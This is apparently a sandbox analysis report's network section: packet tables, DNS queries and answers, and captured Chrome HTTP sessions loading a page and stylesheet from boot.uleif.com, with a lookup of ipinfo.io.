Oct 11, 2024 20:30:23.929496050 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.929544926 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.929603100 CEST	59090	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.929856062 CEST	59090	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.929871082 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.929881096 CEST	59090	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.929887056 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.932703972 CEST	59095	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.932749033 CEST	443	59095	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.932821035 CEST	59095	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.933137894 CEST	59095	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.933156967 CEST	443	59095	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.952466965 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.952918053 CEST	59092	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.952944994 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.953337908 CEST	59092	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.953342915 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.955862045 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.956284046 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.956342936 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.956836939 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.956856012 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.017311096 CEST	443	59091	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.017564058 CEST	443	59091	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.017601967 CEST	443	59091	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.017632008 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.017699003 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.017699003 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.017743111 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.017780066 CEST	443	59091	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.020843029 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.020888090 CEST	443	59096	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.020973921 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.021104097 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.021119118 CEST	443	59096	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.064079046 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.064136982 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.064193964 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.064218998 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.064243078 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.064290047 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.064460993 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.064475060 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.064482927 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.064487934 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.065696001 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.067718983 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.067751884 CEST	443	59097	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.067816019 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.067857027 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.067950964 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.067962885 CEST	443	59097	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.067987919 CEST	59092	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.068011045 CEST	59092	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.068011045 CEST	59092	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.068027973 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.068038940 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.070091009 CEST	59098	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.070101023 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.070161104 CEST	59098	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.070291996 CEST	59098	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.070305109 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.195723057 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.196254969 CEST	59094	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.196274042 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.196784973 CEST	59094	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.196791887 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.309536934 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.310395956 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.310466051 CEST	59094	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.310539007 CEST	59094	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.310539007 CEST	59094	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.310580015 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.310606003 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.313549042 CEST	59099	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.313579082 CEST	443	59099	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.313870907 CEST	59099	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.313870907 CEST	59099	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.313899040 CEST	443	59099	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.617888927 CEST	443	59095	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.618419886 CEST	59095	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.618442059 CEST	443	59095	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.618971109 CEST	59095	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.618978977 CEST	443	59095	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.684716940 CEST	443	59096	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.685271978 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.685282946 CEST	443	59096	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.685894012 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.685899019 CEST	443	59096	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.723484039 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.724008083 CEST	59098	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.724056959 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.724399090 CEST	59098	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.724406958 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.736613989 CEST	443	59095	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.736763954 CEST	443	59095	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.736852884 CEST	59095	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.736852884 CEST	59095	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.736879110 CEST	59095	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.736892939 CEST	443	59095	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.738535881 CEST	443	59097	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.738816977 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.738833904 CEST	443	59097	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.739152908 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.739160061 CEST	443	59097	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.739999056 CEST	59100	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.740031004 CEST	443	59100	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.740118980 CEST	59100	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.740252972 CEST	59100	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.740267992 CEST	443	59100	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.793617964 CEST	443	59096	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.793986082 CEST	443	59096	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.794172049 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.794172049 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.794172049 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.796556950 CEST	59101	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.796581030 CEST	443	59101	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.796648026 CEST	59101	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.796757936 CEST	59101	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.796770096 CEST	443	59101	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.854989052 CEST	443	59097	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.855151892 CEST	443	59097	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.855354071 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.855354071 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.855354071 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.857721090 CEST	59102	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.857763052 CEST	443	59102	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.857825041 CEST	59102	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.857935905 CEST	59102	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.857953072 CEST	443	59102	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.866079092 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.866130114 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.866265059 CEST	59098	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.866302013 CEST	59098	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.866302013 CEST	59098	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.866343021 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.866369963 CEST	443	59098	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.868330002 CEST	59103	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.868370056 CEST	443	59103	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:24.868429899 CEST	59103	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.868546963 CEST	59103	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:24.868560076 CEST	443	59103	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.003662109 CEST	443	59099	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.004242897 CEST	59099	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.004259109 CEST	443	59099	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.004904032 CEST	59099	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.004909039 CEST	443	59099	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.097383022 CEST	59096	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.097402096 CEST	443	59096	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.120959997 CEST	443	59099	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.121057034 CEST	443	59099	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.121284962 CEST	59099	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.121284962 CEST	59099	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.123188972 CEST	59099	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.123200893 CEST	443	59099	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.124129057 CEST	59104	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.124172926 CEST	443	59104	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.124366045 CEST	59104	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.124366045 CEST	59104	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.124399900 CEST	443	59104	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.159821033 CEST	59097	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.159878016 CEST	443	59097	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.410109043 CEST	443	59100	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.411199093 CEST	59100	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.411199093 CEST	59100	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:25.411225080 CEST	443	59100	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:25.411236048 CEST	443	59100	13.107.253.64	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 20:29:03.020927906 CEST	53	64237	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:03.176831007 CEST	53	59412	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:04.205557108 CEST	53	60583	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:04.344544888 CEST	50965	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:04.344672918 CEST	51976	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:04.835575104 CEST	53	51976	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:04.843662024 CEST	53	50965	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:05.325242996 CEST	49162	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:05.325396061 CEST	51152	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:05.814280033 CEST	53	49162	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:05.947628975 CEST	53	51152	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:07.176089048 CEST	60668	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:07.176431894 CEST	53756	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:07.183134079 CEST	53	60668	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:07.183605909 CEST	53	53756	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:07.361428022 CEST	50217	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:07.361737967 CEST	61885	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:07.472857952 CEST	53	61885	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:07.866070986 CEST	53	50217	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:08.096415043 CEST	49405	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:08.096818924 CEST	59253	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:08.103948116 CEST	53	59253	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:08.104809046 CEST	53	49405	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:08.290544987 CEST	53	59427	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:09.150063992 CEST	60321	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:09.150203943 CEST	58587	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:09.157108068 CEST	53	60321	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:09.157497883 CEST	53	58587	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:17.917253971 CEST	53	58079	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:19.465193987 CEST	53	65284	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:20.418775082 CEST	138	138	192.168.2.4	192.168.2.255
Oct 11, 2024 20:29:21.294354916 CEST	53	53264	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:26.364559889 CEST	53	57228	1.1.1.1	192.168.2.4
Oct 11, 2024 20:30:02.723844051 CEST	53	58553	1.1.1.1	192.168.2.4
Oct 11, 2024 20:30:04.964956999 CEST	53	59134	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 11, 2024 20:29:05.947710991 CEST	192.168.2.4	1.1.1.1	c21f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 11, 2024 20:29:04.344544888 CEST	192.168.2.4	1.1.1.1	0x5169	Standard query (0)	boot.uleif.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:04.344672918 CEST	192.168.2.4	1.1.1.1	0xb10a	Standard query (0)	boot.uleif.com	65	IN (0x0001)	false
Oct 11, 2024 20:29:05.325242996 CEST	192.168.2.4	1.1.1.1	0xf8a3	Standard query (0)	boot.uleif.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:05.325396061 CEST	192.168.2.4	1.1.1.1	0x9fb8	Standard query (0)	boot.uleif.com	65	IN (0x0001)	false
Oct 11, 2024 20:29:07.176089048 CEST	192.168.2.4	1.1.1.1	0xb887	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:07.176431894 CEST	192.168.2.4	1.1.1.1	0x836b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 11, 2024 20:29:07.361428022 CEST	192.168.2.4	1.1.1.1	0x1f31	Standard query (0)	boot.uleif.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:07.361737967 CEST	192.168.2.4	1.1.1.1	0x4c30	Standard query (0)	boot.uleif.com	65	IN (0x0001)	false
Oct 11, 2024 20:29:08.096415043 CEST	192.168.2.4	1.1.1.1	0xf39	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:08.096818924 CEST	192.168.2.4	1.1.1.1	0x369d	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Oct 11, 2024 20:29:09.150063992 CEST	192.168.2.4	1.1.1.1	0xae6c	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:09.150203943 CEST	192.168.2.4	1.1.1.1	0x8819	Standard query (0)	ipinfo.io	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 11, 2024 20:29:04.843662024 CEST	1.1.1.1	192.168.2.4	0x5169	No error (0)	boot.uleif.com		76.76.21.21	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:05.814280033 CEST	1.1.1.1	192.168.2.4	0xf8a3	No error (0)	boot.uleif.com		76.76.21.21	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:07.183134079 CEST	1.1.1.1	192.168.2.4	0xb887	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:07.183605909 CEST	1.1.1.1	192.168.2.4	0x836b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 11, 2024 20:29:07.866070986 CEST	1.1.1.1	192.168.2.4	0x1f31	No error (0)	boot.uleif.com		76.76.21.21	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:08.104809046 CEST	1.1.1.1	192.168.2.4	0xf39	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:09.157108068 CEST	1.1.1.1	192.168.2.4	0xae6c	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Oct 11, 2024 20:29:57.536005020 CEST	1.1.1.1	192.168.2.4	0x399a	No error (0)	shed.dual-low.s-part-0036.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 11, 2024 20:29:57.536005020 CEST	1.1.1.1	192.168.2.4	0x399a	No error (0)	dual.s-part-0036.t-0009.fb-t-msedge.net	s-part-0036.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 11, 2024 20:29:57.536005020 CEST	1.1.1.1	192.168.2.4	0x399a	No error (0)	s-part-0036.t-0009.fb-t-msedge.net		13.107.253.64	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

boot.uleif.com

https:

ipinfo.io

fs.microsoft.com

slscr.update.microsoft.com

otelrules.azureedge.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	76.76.21.21	80	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 20:29:04.850718021 CEST	429	OUT	GET / HTTP/1.1 Host: boot.uleif.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Oct 11, 2024 20:29:05.321819067 CEST	33	IN	HTTP/1.0 308 Permanent Redirect
Oct 11, 2024 20:29:05.321867943 CEST	133	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 62 6f 6f 74 2e 75 6c 65 69 66 2e 63 6f 6d 2f 0d 0a 52 65 66 72 65 73 68 3a 20 30 3b 75 72 6c 3d 68 74 74 70 73 3a Data Ascii: Content-Type: text/plainLocation: https://boot.uleif.com/Refresh: 0;url=https://boot.uleif.com/server: VercelRedirecting...

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:06 UTC	657	OUT	GET / HTTP/1.1 Host: boot.uleif.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:06 UTC	480	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113060 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline Content-Length: 1975 Content-Type: text/html; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:06 GMT Etag: "92fc0fda423198c658c7e766a9cd1eb9" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: / X-Vercel-Cache: HIT X-Vercel-Id: iad1::zbh2t-1728671346531-4267bd9b0e70 Connection: close
2024-10-11 18:29:06 UTC	1975	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6e 65 78 74 2d 68 65 61 64 2d 63 6f 75 6e 74 22 20 63 6f 6e 74 65 6e 74 3d 22 32 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 2f 30 35 61 37 30 32 65 35 35 66 31 38 30 36 63 37 2e 63 73 73 22 20 61 73 3d 22 73 74 79 6c 65 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 5f 6e 65 Data Ascii: <!DOCTYPE html><html><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><meta name="next-head-count" content="2"/><link rel="preload" href="/_next/static/css/05a702e55f1806c7.css" as="style"/><link rel="stylesheet" href="/_ne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	564	OUT	GET /_next/static/css/05a702e55f1806c7.css HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	546	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="05a702e55f1806c7.css" Content-Length: 75 Content-Type: text/css; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "b8d3c28a1b1f2543428c8bc5bed4c551" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/05a702e55f1806c7.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::fjnww-1728671347287-740dae307be8 Connection: close
2024-10-11 18:29:07 UTC	75	IN	Data Raw: 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d Data Ascii: body{font-family:Arial,sans-serif;margin:0;padding:0;box-sizing:border-box}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	564	OUT	GET /_next/static/css/bf966d2a7834ad98.css HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
